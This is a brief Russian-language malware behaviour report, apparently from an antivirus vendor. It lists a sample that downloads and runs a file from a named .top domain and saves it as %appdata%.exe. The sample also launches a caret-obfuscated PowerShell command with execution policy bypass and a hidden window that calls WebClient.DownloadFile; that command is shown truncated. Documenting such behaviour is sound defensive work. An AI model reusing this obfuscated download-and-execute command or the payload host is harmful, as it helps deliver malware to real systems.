Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^oWER^SHElL^.^EXE -^E^xecUt^io^NpO^licy^ bYp^aS^s ^-^N^o^pROfiLe^ ^-wInd^o^W^s^T^Yl^e^ ^HiD^D^e^N ^(^N^Ew^-o^BjE^C^T sy^st^e^m.N^Et.WE^BCLIent^).^d^oW^N^lo^A^dF^I^le(^'h...
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^oWER^SHElL^.^EXE -^E^xecUt^io^NpO^licy^ bYp^aS^s ^-^N^o^pROfiLe^ ^-wInd^o^W^s^T^Yl^e^ ^HiD^D^e^N ^(^N^Ew^-o^BjE^C^T sy^st^e^m.N^Et.WE^BCLIent^).^d^oW^N^lo^A^dF^I^le(^'h...' (со скрытым окном)
